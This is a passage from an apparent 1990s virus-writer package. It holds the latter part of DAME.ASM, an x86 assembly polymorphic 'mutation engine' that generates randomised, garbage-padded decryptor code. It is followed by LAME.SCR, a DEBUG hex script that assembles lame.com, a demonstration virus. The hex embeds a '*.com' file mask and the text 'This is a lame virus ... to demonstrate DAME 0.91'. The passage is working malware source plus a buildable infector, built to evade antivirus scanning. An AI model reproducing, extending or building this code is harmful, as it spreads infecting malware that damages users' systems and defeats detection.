        mov     dl,ah                           ; Put high byte in DL
        and     dx,0f                           ; Adjust so JMP target is
                                                ; between 0 and 15 bytes away
        and     ax,3                            ; Mask AX
        jz      clear_PIQ_call_pop              ; 1/4 chance of CALL/POP
        dec     ax
        jz      clear_PIQ_jmp_short             ; 1/4 chance of JMP SHORT

        mov     al,0e9                          ; Otherwise do a straight JMP
clear_PIQ_word:                                 ; Handler if offset is a word
        stosb                                   ; Store the JMP or CALL
        xchg    ax,dx                           ; Offset to AX
        stosw                                   ; Encode it
clear_PIQ_byte:                                 ; Encode AX random bytes
        push    cx
        xchg    ax,cx                           ; Offset to CX
        jcxz    random_encode_done              ; Exit if no bytes in between
random_encode_loop:
        call    get_rand                        ; Get a random number
        stosb                                   ; Store it and then do this
        loop    random_encode_loop              ; again
random_encode_done:
        pop     cx
        ret

clear_PIQ_jmp_short:
        mov     al,0ebh                         ; JMP SHORT
        stosb                                   ; Encode the instruction
        xchg    ax,dx
        stosb                                   ; and the offset
        jmp     short clear_PIQ_byte            ; Encode intervening bytes

clear_PIQ_call_pop:
        mov     al,0e8                          ; CALL
        call    clear_PIQ_word                  ; Encode instruction, garbage
        call    garble                          ; Garble some and then find
        call    get_another                     ; an unused register
        call    clear_reg                       ; keep it unused
        jmp     short _pop                      ; and POP into it

twogarble:                                      ; Garble twice
        mov     _nest,0                         ; Reset nest count
        call    garble                          ; Garble once
garble: ; ax, dx preserved                      ; Garble
        call    free_regs                       ; Are there any unused
        jne     return                          ; registers?

        test    cl,2                            ; Is garbling enabled?
        jz      return                          ; Exit if not

        push    ax dx si

        call    get_rand                        ; Get a random number into
        xchg    ax,dx                           ; DX
        call    get_another                     ; And a random reg into AX
        call    clear_reg                       ; Don't mark register as used

        mov     si,offset garbletable           ; Garble away
        jmp     short handle_jmp_table_nopush

handle_jmp_table: ; ax,dx preserved             ; This is the master dispatch
        call    garble                          ; Garble before encoding
handle_jmp_table_nogarble:                      ; Encode it
        push    ax dx si
handle_jmp_table_nopush:
        push    ax
        lodsb                                   ; Get table mask
        cbw                                     ; Clear high byte
        call    get_rand_bx                     ; Get random number
        and     bx,ax                           ; Get random routine
        pop     ax

        test    cl,4                            ; Short decryptor?
        jnz     doshort                         ; If so, use first routine

        inc     _nest                           ; Update nest count
        push    ax
        mov     al,_maxnest
        cmp     _nest,al                        ; Are we too far?
        pop     ax
        jb      not_max_nest                    ; If so, then use the first
doshort:xor     bx,bx                           ; routine in the table
not_max_nest:
        push    bx                              ; Save routine to be called
        call    [bx+si]                         ; Call the routine
        pop     bx si dx ax
        ret

garble_tworeg:
; Garble unused register with the contents of a random register.
        mov     si,offset tworegtable           ; Use reg_reg table
        and     dx,7                            ; Convert to random register #
        jmp     short handle_jmp_table_nogarble ; Garble away

garble_onereg:
; Garble unused register with a random value (DX).
        mov     si,offset oneregtable           ; Point to the table
        jmp     short handle_jmp_table_nogarble ; and garble

_push:                                          ; Encode a PUSH
        or      al,al                           ; PUSHing memory register?
        js      _push_mem
        call    one_in_two                      ; 1/2 chance of two-byte PUSH
        js      _push_mem
        add     al,50                           ; otherwise it's really easy
        stosb
        ret
_push_mem:
        add     ax,0ff30
        jmp     short go_mod_xxx_rm1

_pop:                                           ; Encode a POP
        or      al,al                           ; POPing a memory register?
        js      _pop_mem
        call    one_in_two                      ; 1/2 chance of two-byte POP
        js      _pop_mem
        add     al,58
        stosb
        ret
_pop_mem:
        mov     ah,8f
go_mod_xxx_rm1:
        jmp     mod_xxx_rm

mov_reg_xxxx: ; ax and dx preserved
        mov     si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
        jmp     short handle_jmp_table

_mov_reg_xxxx_mov_add:
        call    get_rand_bx                     ; Get a random number
        push    bx                              ; Save it
        sub     dx,bx                           ; Adjust MOV amount
        call    mov_reg_xxxx                    ; MOV to register
        pop     dx                              ; Get random number
        jmp     short go_add_reg_xxxx           ; Add it to the register

_mov_reg_xxxx_mov_al_ah:
        cmp     al,_sp
        jae     _mov_reg_xxxx
        push    ax dx
        call    _mov_al_xx
        pop     dx ax
        xchg    dh,dl
        jmp     short _mov_ah_xx

_mov_reg_xxxx_mov_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    mov_reg_xxxx
        pop     dx
        jmp     xor_reg_xxxx

_mov_reg_xxxx_xor_add:
        push    dx
        mov     dx,ax
        call    xor_reg_reg
        pop     dx
go_add_reg_xxxx:
        jmp     add_reg_xxxx

_mov_reg_xxxx_mov_rol:
        ror     dx,1
        call    mov_reg_xxxx
        jmp     short _rol

_mov_reg_xxxx_mov_ror:
        rol     dx,1
        call    mov_reg_xxxx
_ror:
        or      al,8
_rol:
        mov     ah,0d1
        jmp     short go_mod_xxx_rm1


_mov_reg_xxxx:
        call    one_in_two                      ; 1/2 chance of a four byte MOV
        js      _mov_reg_xxxx1

        add     al,0B8
        stosb
        xchg    ax,dx
        stosw
        ret
_mov_reg_xxxx1:                                 ; Do the four byte register MOV
        mov     ah,0c7
        jmp     mod_xxx_rm_stosw

mov_ah_xx:
_mov_ah_xx:
        add     al,04
mov_al_xx:
_mov_al_xx:
        add     al,0B0
        mov     ah,dl
        stosw
        ret

mov_reg_reg: ; ax, dx preserved
        mov     si,offset mov_reg_reg_table
        jmp     short go_handle_jmp_table1

_mov_reg_reg_push_pop:
        push    ax
        xchg    dx,ax
        call    _push                           ; PUSH REG2
        pop     ax
        jmp     _pop                            ; POP  REG1

_mov_reg_reg:
        mov     ah,08Bh
        jmp     short _mod_reg_rm_direction

mov_xchg_reg_reg:
        call    one_in_two
        js      mov_reg_reg

xchg_reg_reg:  ; ax, dx preserved
        mov     si,offset xchg_reg_reg_table
go_handle_jmp_table2:
        jmp     short go_handle_jmp_table1

_xchg_reg_reg_push_pop:
        push    dx ax dx
        call    _push                           ; PUSH REG1
        pop     ax
        call    _push                           ; PUSH REG2
        pop     ax
        call    _pop                            ; POP  REG1
        pop     ax
        jmp     _pop                            ; POP  REG2

_xchg_reg_reg_3rd_reg:
        call    free_regs
        jne     _xchg_reg_reg

        push    dx ax
        call    get_another                     ; Get free register (reg3)
        call    mov_xchg_reg_reg                ; MOV/XCHG REG3,REG2
        pop     dx
        call    xchg_reg_reg                    ; XCHG REG3,REG1
        pop     dx
        xchg    ax,dx
        call    mov_xchg_reg_reg                ; MOV/XCHG REG2,REG3
        jmp     clear_reg_dx

_xchg_reg_reg:
        or      al,al
        js      __xchg_reg_reg

        cmp     al,dl
        jg      _xchg_reg_reg_skip
        xchg    al,dl
_xchg_reg_reg_skip:
        or      dl,dl
        jz      _xchg_ax_reg
__xchg_reg_reg:
        xchg    al,dl
        mov     ah,87
        jmp     short _mod_reg_rm
_xchg_ax_reg:
        add     al,90
        stosb
        ret

xor_reg_xxxx_xor_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    xor_reg_xxxx
        pop     dx
        jmp     short xor_reg_xxxx

xor_reg_xxxx:
        mov     si,offset xor_reg_xxxx_table
        jmp     short go_handle_jmp_table2

_xor_reg_xxxx:
        or      al,030
        jmp     _81h_

xor_reg_reg:
        mov     si,offset xor_reg_reg_table
go_handle_jmp_table3:
        jmp     short go_handle_jmp_table2

_xor_reg_reg:
        mov     ah,33
; The following is the master encoder.  It handles most traditional encodings
; with mod/reg/rm or mod/xxx/rm.
_mod_reg_rm_direction:
        or      al,al                           ; If al is a memory pointer,
        js      dodirection                     ; then we need to swap regs
        or      dl,dl                           ; If dl is a memory pointer,
        js      _mod_reg_rm                     ; we cannot swap registers
        call    one_in_two                      ; Otherwise there is a 50%
        js      _mod_reg_rm                     ; chance of swapping registers
dodirection:
        xchg    al,dl                           ; Swap the registers and adjust
        sub     ah,2                            ; the opcode to compensate
_mod_reg_rm:
        shl     al,1                            ; Move al to the reg field
        shl     al,1
        shl     al,1
        or      al,dl                           ; Move dl to the rm field
mod_xxx_rm:
        or      al,al                           ; Is al a memory pointer?
        js      no_no_reg                       ; If so, skip next line

        or      al,0c0                          ; Mark register in mod field
no_no_reg:
        xchg    ah,al

        test    ah,40
        jnz     exit_mod_reg_rm

        test    cl,1
        jnz     continue_mod_xxx_rm

        push    ax
        mov     al,2e
        stosb
        pop     ax
continue_mod_xxx_rm:
        stosw

        mov     si,cs:[bp]                      ; Store the patch location
        add     si,si                           ; for the memory in the
        mov     cs:[si+bp+2],di                 ; appropriate table for later
        inc     word ptr cs:[bp]                ; adjustment
                                                ; cs: overrides needed for bp
        mov     al,_relocate_amt
        cbw
exit_mod_reg_rm:
        stosw
        ret

add_reg_reg:
        mov     si,offset add_reg_reg_table
        jmp     short go_handle_jmp_table3

_add_reg_reg:
        mov     ah,3
        jmp     short _mod_reg_rm_direction

sub_reg_reg:
        mov     si,offset sub_reg_reg_table
go_handle_jmp_table4:
        jmp     short go_handle_jmp_table3

_sub_reg_reg:
        mov     ah,2bh
        jmp     short _mod_reg_rm_direction

_add_reg_xxxx_inc_add:
        call    inc_reg
        dec     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_dec_add:
        call    dec_reg
        inc     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_add_add:
        call    get_rand_bx
        push    bx
        sub     dx,bx
        call    add_reg_xxxx
        pop     dx
        jmp     short add_reg_xxxx

add_reg_xxxx1:
        neg     dx
add_reg_xxxx:
        or      dx,dx
        jnz     cont
return1:
        ret
cont:
        mov     si,offset add_reg_xxxx_table
        jmp     go_handle_jmp_table4

_add_reg_xxxx:
        or      al,al
        jz      _add_ax_xxxx
_81h_:
        or      al,al
        js      __81h
        add     al,0c0
__81h:
        mov     ah,81
mod_xxx_rm_stosw:
        call    mod_xxx_rm
_encode_dx_:
        xchg    ax,dx
        stosw
        ret
_add_ax_xxxx:
        mov     al,5
_encode_al_dx_:
        stosb
        jmp     short _encode_dx_

sub_reg_xxxx1:
        neg     dx
sub_reg_xxxx:
_sub_reg_xxxx:
        or      dx,dx                           ; SUBtracting anything?
        jz      return1                         ; If not, we are done

        or      al,al                           ; SUB AX, XXXX?
        jz      _sub_ax_xxxx                    ; If so, we encode in 3 bytes
        add     al,028                          ; Otherwise do the standard
        jmp     short _81h_                     ; mod/reg/rm deal
_sub_ax_xxxx:
        mov     al,2dh
        jmp     short _encode_al_dx_

dec_reg:
        push    ax
        add     al,8
        jmp     short _dec_inc_reg
inc_reg:
        push    ax
_dec_inc_reg:
        or      al,al
        jns     _norm_inc
        mov     ah,0ff
        call    mod_xxx_rm
        pop     ax
        ret
_norm_inc:
        add     al,40
        stosb
        pop     ax
        ret

_mov_reg_reg_3rd_reg:
        mov     bx,offset mov_reg_reg
        mov     si,offset mov_xchg_reg_reg
        or      al,al                           ; Is reg1 a pointer register?
        js      reg_to_reg1                     ; If so, we cannot use XCHG
        jmp     short reg_to_reg

xor_reg_reg_reg_reg:
        mov     bx,offset _xor_reg_reg
        jmp     short reg_to_reg1
add_reg_reg_reg_reg:
        mov     bx,offset _add_reg_reg
        jmp     short reg_to_reg1
sub_reg_reg_reg_reg:
        mov     bx,offset _sub_reg_reg
reg_to_reg1:
        mov     si,bx
reg_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax si
        call    get_another                     ; Get unused register (reg3)
        call    mov_reg_reg                     ; MOV REG3,REG2
        pop     si dx
        xchg    ax,dx
finish_reg_clear_dx:
        push    dx
        call    si
        pop     ax
        jmp     clear_reg

_xor_reg_xxxx_reg_reg:
        mov     bx,offset xor_reg_xxxx
        mov     si,offset xor_reg_reg
xxxx_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax si
        call    get_another                     ; Get unused register (reg3)
        call    mov_reg_xxxx                    ; MOV REG3,XXXX
        xchg    ax,dx
        pop     si ax

        jmp     short finish_reg_clear_dx
no_free_regs:
        jmp     bx

_add_reg_xxxx_reg_reg:
        mov     bx,offset add_reg_xxxx
        mov     si,offset add_reg_reg
        jmp     short xxxx_to_reg

_mov_reg_xxxx_reg_reg:
        mov     bx,offset mov_reg_xxxx
        mov     si,offset mov_xchg_reg_reg
        jmp     short xxxx_to_reg

; The following are a collection of tables used by the various encoding
; routines to determine which routine will be used.  The first line in each
; table holds the mask for the encoding procedure.  The second line holds the
; default routine which is used when nesting is disabled.  The number of
; entries in each table must be a power of two.  To adjust the probability of
; the occurence of any particular routine, simply vary the number of times it
; appears in the table relative to the other routines.

; The following table governs garbling.
garbletable:
        db      garbletableend - $ - 3
        dw      offset return
        dw      offset return
        dw      offset return
        dw      offset return
        dw      offset return

        dw      offset garble_tworeg
        dw      offset garble_tworeg
        dw      offset garble_tworeg
        dw      offset garble_onereg
        dw      offset garble_onereg
        dw      offset garble_onereg

        dw      offset garble_onebyte
        dw      offset garble_onebyte
        dw      offset garble_onebyte
        dw      offset garble_jmpcond

        dw      offset clear_PIQ
garbletableend:

; This table is used by the one byte garbler.  It is intuitively obvious.
onebytetable:
        clc
        cmc
        stc
        cld
        std
        sti
        int     3
        lock

; This table is used by the one register garbler.  When each of the functions
; in the table is called, ax holds a random, unused register, and dx holds a
; random number.
oneregtable:
        db      oneregtableend - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset mov_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtableend:

; This table is used to determine the decryption method
oneregtable1:    ; dx = random #
        db      oneregtable1end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtable1end:

; This table is used to determine the encryption method
oneregtable2:    ; dx = random #
        db      oneregtable2end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset inc_reg
        dw      offset dec_reg
        dw      offset _rol
        dw      offset _ror
oneregtable2end:

tworegtable:    ; dl = any register
        db      tworegtableend - $ - 3
        dw      offset xor_reg_reg
        dw      offset mov_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtableend:

tworegtable1:    ; dl = any register
        db      tworegtable1end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtable1end:

tworegtable2:    ; dl = any register
        db      tworegtable2end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset add_reg_reg
        dw      offset sub_reg_reg
tworegtable2end:

mov_reg_xxxx_table:
        db      mov_reg_xxxx_table_end - $ - 3
        dw      offset _mov_reg_xxxx
        dw      offset _mov_reg_xxxx_reg_reg
        dw      offset _mov_reg_xxxx_mov_add
        dw      offset _mov_reg_xxxx_mov_al_ah
        dw      offset _mov_reg_xxxx_mov_xor
        dw      offset _mov_reg_xxxx_xor_add
        dw      offset _mov_reg_xxxx_mov_rol
        dw      offset _mov_reg_xxxx_mov_ror

mov_reg_xxxx_table_end:

mov_reg_reg_table:
        db      mov_reg_reg_table_end - $ - 3
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg_3rd_reg
        dw      offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:

xchg_reg_reg_table:
        db      xchg_reg_reg_table_end - $ - 3
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg_push_pop
        dw      offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:

xor_reg_xxxx_table:
        db      xor_reg_xxxx_table_end - $ - 3
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx_reg_reg
        dw      offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:

xor_reg_reg_table:
        db      xor_reg_reg_table_end - $ - 3
        dw      offset _xor_reg_reg
        dw      offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:

add_reg_reg_table:
        db      add_reg_reg_table_end - $ - 3
        dw      offset _add_reg_reg
        dw      offset add_reg_reg_reg_reg
add_reg_reg_table_end:

sub_reg_reg_table:
        db      sub_reg_reg_table_end - $ - 3
        dw      offset _sub_reg_reg
        dw      offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:

add_reg_xxxx_table:
        db      add_reg_xxxx_table_end - $ - 3
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx_reg_reg
        dw      offset sub_reg_xxxx1
        dw      offset _add_reg_xxxx_inc_add
        dw      offset _add_reg_xxxx_dec_add
        dw      offset _add_reg_xxxx_add_add
        dw      offset _add_reg_xxxx_add_add

add_reg_xxxx_table_end:

endif

if not vars eq 0        ; if (vars != 0)

; _nest is needed to prevent the infinite recursion which is possible in a
; routine such as the one used by DAME.  If this value goes above the
; threshold value (defined as MAXNEST), then no further garbling/obfuscating
; will occur.
_nest                   db      ?

; This is used by the routine mod_reg_rm when encoding memory accessing
; instructions.  The value in _relocate_amt is later added to the relocation
; value to determine the final value of the memory adjustment.  For example,
; we initially have, as the encryption instruction:
;       add     [bx+0],ax
; Let's say _relocate_amt is set to 2.  Now the instruction reads:
;       add     [bx+2],ax
; Finally, the relocate procedure alters this to:
;       add     [bx+202],ax
; or whatever the appropriate value is.
;
; This value is used in double word encryptions.
_relocate_amt           db      ?

; Various memory locations which we must keep track of for calculations:
_loopstartencrypt       dw      ?
_loopstartdecrypt       dw      ?

_encryptpointer         dw      ?
_decryptpointer         dw      ?

_decryptpointer2        dw      ?

_start_encrypt          dw      ?
_start_decrypt          dw      ?
                                                        beginclear1:

; _used_regs is the register tracker. Each byte corresponds to a register.
; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it
; is zero, then the register's current value is unimportant to the routine.
; If it is any other value, then the routine should not play with the value
; contained in the register (at least without saving it first).
_used_regs              db      8 dup (?) ; 0 = unused

; The following four variables contain the addresses in current memory which
; contain the patch locations for the memory addressing instructions, i.e.
;    XOR WORD PTR [bx+3212],3212
; It is used at the end of the master encoding routine.
_encrypt_relocate_num   dw      ?
_encrypt_relocator      dw      8 dup (?)

_decrypt_relocate_num   dw      ?
_decrypt_relocator      dw      10 dup (?)
                                                        endclear1:

_encrypt_length         dw      ?       ; The number of bytes to encrypt
                                        ; (based upon alignment)
_counter_value          dw      ?       ; Forwards or backwards
_decrypt_value          dw      ?       ; Not necessarily the crypt key
_pointer_value1         dw      ?       ; Pointer register 1's initial value
_pointer_value2         dw      ?       ; Pointer register 2's initial value

_counter_reg            db      ?
_encrypt_reg            db      ?
_pointer_reg1           db      ?       ; 4 = not in use
_pointer_reg2           db      ?

_pointer_rm             db      ?       ; Holds r/m value for pointer registers
_maxnest                db      ?

_kludge                 dw      ?

endif
--End DAME.ASM--Begin LAME.SCR-------------------------------------------------
N lame.com
E 0100  E9 37 15 E8 01 08 CD 20 00 00 2A 2E 63 6F 6D 00
E 0110  2E 2E 00 0D 54 68 69 73 20 69 73 20 61 20 6C 61
E 0120  6D 65 20 76 69 72 75 73 20 73 6C 61 70 70 65 64
E 0130  20 74 6F 67 65 74 68 65 72 20 62 79 20 44 41 2F
E 0140  50 53 0D 0A 54 6F 20 64 65 6D 6F 6E 73 74 72 61
E 0150  74 65 20 44 41 4D 45 20 30 2E 39 31 0D 0A 1A 52
E 0160  51 53 B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0
E 0170  EB 1C 52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00
E 0180  D1 E0 D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 78
E 0190  01 89 16 7B 01 8A C2 5B 59 5A C3 03 84 87 05 84
E 01A0  86 07 84 85 06 84 84 05 07 83 05 06 82 03 07 81
E 01B0  03 06 80 07 05 83 06 05 82 07 03 81 06 03 80 03
E 01C0  07 0B 0F 13 17 1B 1F 5F 5D 5E 5A 59 5B 58 FC 50
E 01D0  53 51 52 56 55 57 E8 0E 00 5F 51 57 FF D7 5F 59
E 01E0  5D 5E 5A 5B 5B 58 C3 FC 50 B8 1F 0A 97 AB 96 AB
E 01F0  AB 92 AB 93 AB 87 CA 33 C0 B9 1E 00 F3 AB E8 71
E 0200  FF 25 F0 FF 59 33 C8 E8 69 03 83 E3 07 8A 87 BF
E 0210  01 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 F6 C5 40
E 0220  74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 52 E8 42 FF
E 0230  AB 58 F6 C5 20 75 02 F7 D8 33 DB F6 C5 80 74 05
E 0240  E8 30 03 2B C3 AB 93 AB E8 E6 02 BF 6F 0A B0 84
E 0250  F6 C5 08 74 09 E8 1A FF A3 6B 0A E8 DF 02 AA 92
E 0260  B0 84 E8 06 03 78 03 E8 D3 02 AA 3B C2 77 01 92
E 0270  8A E2 3D 05 03 74 D1 3D 07 06 74 CC BE 9B 01 B8
E 0280  03 00 F6 C5 80 74 05 83 C6 0C 04 04 E8 E4 02 23
E 0290  D8 03 F3 03 DB 03 F3 AD 8B D8 83 E3 07 80 BF 29
E 02A0  0A 00 75 D8 8A DC 0A DB 78 07 80 BF 29 0A 00 75
E 02B0  CB AB A4 E8 BC FE 24 0F 3C 0A 77 F7 AA E8 71 02
E 02C0  8B 3E 21 0A E8 07 03 BE 6F 0A 56 E8 A5 02 83 E3
E 02D0  03 8A 00 98 A8 80 75 F3 80 8F 6F 0A 80 8B F0 FE
E 02E0  84 29 0A 03 DB 8B 97 67 0A C6 06 19 0A 00 90 E8
E 02F0  5F 03 E8 D9 02 E8 1F 02 51 80 E1 F8 E8 9B 03 59
E 0300  89 3E 1F 0A 5E BA 04 00 AC A8 80 74 B3 4A 75 F8
E 0310  BE 1F 0A BF 1B 0A A5 A5 C6 06 1A 0A 00 90 E8 8E
E 0320  01 F6 C5 40 74 09 C6 06 1A 0A 02 90 E8 80 01 BB
E 0330  1B 0A 51 80 E1 F8 E8 87 00 59 B8 FC C3 AB BE 33
E 0340  0A 8B 3E 25 0A 51 E8 4E 00 59 BB 1D 0A E8 70 00
E 0350  57 E8 DD 01 5F E8 76 02 F6 C1 08 75 0D F6 C5 20
E 0360  74 03 E8 31 02 E8 66 02 EB 1E 8B D7 2B 16 23 0A
E 0370  03 16 27 0A 42 42 F7 DA 83 E2 0F 80 FA 0E 75 05
E 0380  F6 C5 20 74 03 E8 2F 02 89 3E 21 0A BE 45 0A 2B
E 0390  3E 23 0A 03 3E 27 0A F6 C5 20 74 04 03 3E 65 0A
E 03A0  2B 3E 6B 0A 2B 3E 6D 0A 8B 4C FE E3 08 97 97 AD
E 03B0  97 01 05 E2 F9 8B 3E 21 0A 8B CF 2B 0E 23 0A C3
E 03C0  8B 7F 04 90 53 C6 06 19 0A 00 90 A0 71 0A 25 07
E 03D0  00 BA 02 00 F6 C5 40 74 02 D1 E2 F6 C5 20 74 02
E 03E0  F7 DA F6 C5 80 74 26 D1 FA 50 E8 B2 03 A0 72 0A
E 03F0  25 07 00 E8 A9 03 5B F6 C5 08 75 14 53 92 E8 3C
E 0400  01 E8 AE 02 5A E8 6B 03 E8 47 01 EB 03 E8 8F 03
E 0410  B2 75 A0 6F 0A 25 07 00 3C 04 74 1D 52 BA 01 00
E 0420  F6 C5 10 74 10 3C 01 75 0A E8 3F 01 78 05 5A B2
E 0430  E2 EB 06 F7 DA E8 67 03 5A 5B 8B 07 2B C7 48 48
E 0440  86 E0 8A C2 0A E4 78 05 58 58 E9 7A FD AB 89 7F
E 0450  04 90 C3 80 E5 FB E8 12 01 78 03 80 CD 04 8B 3E
E 0460  21 0A BD 43 0A E8 66 01 33 C0 A0 73 0A E8 7C 00
E 0470  E8 B5 00 56 52 56 52 F6 C5 04 74 0B 92 E8 BD 00
E 0480  E8 2F 02 89 16 75 0A 5A 5E E8 67 01 53 E8 3E 01
E 0490  F6 C5 04 74 0C 92 A1 75 0A 50 E8 15 02 E8 B1 00
E 04A0  58 BD 31 0A E8 70 00 5B 5A 5E E8 7B 00 EB 30 E8
E 04B0  0B 00 E8 BD FC 3D 06 00 72 03 E8 96 FF 8B 3E 21
E 04C0  0A E8 0A 01 A0 70 0A 25 07 00 3C 04 74 49 E8 A2
E 04D0  00 80 FB C0 77 41 E8 13 00 E8 1A 01 E8 38 00 51
E 04E0  80 E1 F8 FF 50 01 59 89 3E 1F 0A C3 C6 06 19 0A
E 04F0  00 90 E8 76 00 78 08 E8 79 00 BE 6D 08 EB 15 E8
E 0500  71 00 83 E3 07 80 FB 04 74 F5 80 BF 29 0A 00 74
E 0510  EE BE A0 08 87 D3 C3 89 3E 21 0A 50 A0 74 0A A2
E 0520  19 0A 58 8B 3E 1F 0A C3 50 AC 98 03 F0 58 46 46
E 0530  C3 33 C0 BF 29 0A AB AB 40 AB 48 AB C3 E8 32 FC
E 0540  25 07 00 8B F0 80 BC 29 0A 00 75 F1 FE 84 29 0A
E 0550  C3 92 8B F0 C6 84 29 0A 00 C3 50 51 57 BF 29 0A
E 0560  B9 08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 03 FC 0B
E 0570  C0 58 C3 93 E8 FB FB 93 C3 92 24 07 BB 65 08 D7
E 0580  AA C3 92 25 0F 00 0C 70 AB 57 E8 4A 00 8B C7 5B
E 0590  2B C3 88 47 FF C3 E8 D9 FB 8A D4 83 E2 0F 25 03
E 05A0  00 74 1B 48 74 11 B0 E9 AA 92 AB 51 91 E3 06 E8
E 05B0  C0 FB AA E2 FA 59 C3 B0 EB AA 92 AA EB ED B0 E8
E 05C0  E8 E5 FF E8 11 00 E8 74 FF E8 86 FF EB 71 C6 06
E 05D0  19 0A 00 90 E8 00 00 E8 80 FF 75 9C F6 C1 02 74
E 05E0  97 50 52 56 E8 8B FB 92 E8 52 FF E8 64 FF BE 44
E 05F0  08 EB 06 E8 E1 FF 50 52 56 50 AC 98 E8 74 FF 23
E 0600  D8 58 F6 C1 04 75 0F FE 06 19 0A 50 A0 74 0A 38
E 0610  06 19 0A 58 72 02 33 DB 53 FF 10 5B 5E 5A 58 C3
E 0620  BE A0 08 83 E2 07 EB CE BE 6D 08 EB C9 0A C0 78
E 0630  09 E8 37 FF 78 04 04 50 AA C3 05 30 FF EB 0F 0A
E 0640  C0 78 09 E8 25 FF 78 04 04 58 AA C3 B4 8F E9 F6
E 0650  00 BE BB 08 EB 9D E8 1A FF 53 2B D3 E8 F2 FF 5A
E 0660  EB 23 3C 04 73 34 50 52 E8 41 00 5A 58 86 F2 EB
E 0670  39 E8 FF FE 53 33 D3 E8 D7 FF 5A E9 9E 00 52 8B
E 0680  D0 E8 A2 00 5A E9 17 01 D1 CA E8 C4 FF EB 07 D1
E 0690  C2 E8 BD FF 0C 08 B4 D1 EB B4 E8 CE FE 78 06 04
E 06A0  B8 AA 92 AB C3 B4 C7 E9 0B 01 04 04 04 B0 8A E2
E 06B0  AB C3 BE CC 08 EB 9D 50 92 E8 71 FF 58 EB 80 B4
E 06C0  8B EB 6A E8 A5 FE 78 EA BE D5 08 EB 87 52 50 52
E 06D0  E8 5A FF 58 E8 56 FF 58 E8 64 FF 58 E9 60 FF E8
E 06E0  78 FE 75 14 52 50 E8 54 FE E8 D7 FF 5A E8 D8 FF
E 06F0  5A 92 E8 CE FF E9 59 FE 0A C0 78 0A 3A C2 7F 02
E 0700  86 C2 0A D2 74 06 86 C2 B4 87 EB 33 04 90 AA C3
E 0710  E8 60 FE 53 33 D3 E8 03 00 5A EB 00 BE DE 08 EB
E 0720  AA 0C 30 E9 87 00 BE E7 08 EB A0 B4 33 0A C0 78
E 0730  09 0A D2 78 0A E8 33 FE 78 05 86 C2 80 EC 02 D0
E 0740  E0 D0 E0 D0 E0 0A C2 0A C0 78 02 0C C0 86 E0 F6
E 0750  C4 40 75 1D F6 C1 01 75 05 50 B0 2E AA 58 AB 2E
E 0760  8B 76 00 03 F6 2E 89 7A 02 2E FF 46 00 A0 1A 0A
E 0770  98 AB C3 BE EC 08 EB B1 B4 03 EB B1 BE F1 08 EB
E 0780  A8 B4 2B EB A8 E8 4F 00 4A EB 14 E8 44 00 42 EB
E 0790  0E E8 DF FD 53 2B D3 E8 05 00 5A EB 02 F7 DA 0B
E 07A0  D2 75 01 C3 BE F6 08 EB D6 0A C0 74 0E 0A C0 78
E 07B0  02 04 C0 B4 81 E8 8F FF 92 AB C3 B0 05 AA EB F8
E 07C0  F7 DA 0B D2 74 DD 0A C0 74 04 04 28 EB DF B0 2D
E 07D0  EB EB 50 04 08 EB 01 50 0A C0 79 07 B4 FF E8 66
E 07E0  FF 58 C3 04 40 AA 58 C3 BB B2 06 BE C3 06 0A C0
E 07F0  78 0F EB 0F BB 2B 07 EB 08 BB 78 07 EB 03 BB 81
E 0800  07 8B F3 E8 54 FD 75 2A 50 56 E8 30 FD E8 A2 FE
E 0810  5E 5A 92 52 FF D6 58 E9 38 FD BB 1C 07 BE 26 07
E 0820  E8 37 FD 75 0D 50 56 E8 13 FD E8 24 FE 92 5E 58
E 0830  EB E1 FF E3 BB 9F 07 BE 73 07 EB E4 BB 51 06 BE
E 0840  C3 06 EB DC 1E 78 05 78 05 78 05 78 05 78 05 20
E 0850  06 20 06 20 06 28 06 28 06 28 06 79 05 79 05 79
E 0860  05 82 05 96 05 F8 F5 F9 FC FD FB CC F0 0E 1C 07
E 0870  51 06 C2 07 9F 07 D2 07 D7 07 94 06 96 06 0E 1C
E 0880  07 C2 07 9F 07 9F 07 D2 07 D7 07 94 06 96 06 0E
E 0890  1C 07 9F 07 C2 07 C2 07 D7 07 D2 07 96 06 94 06
E 08A0  06 26 07 B2 06 7C 07 73 07 06 26 07 26 07 7C 07
E 08B0  73 07 06 26 07 26 07 73 07 7C 07 0E 9A 06 3C 08
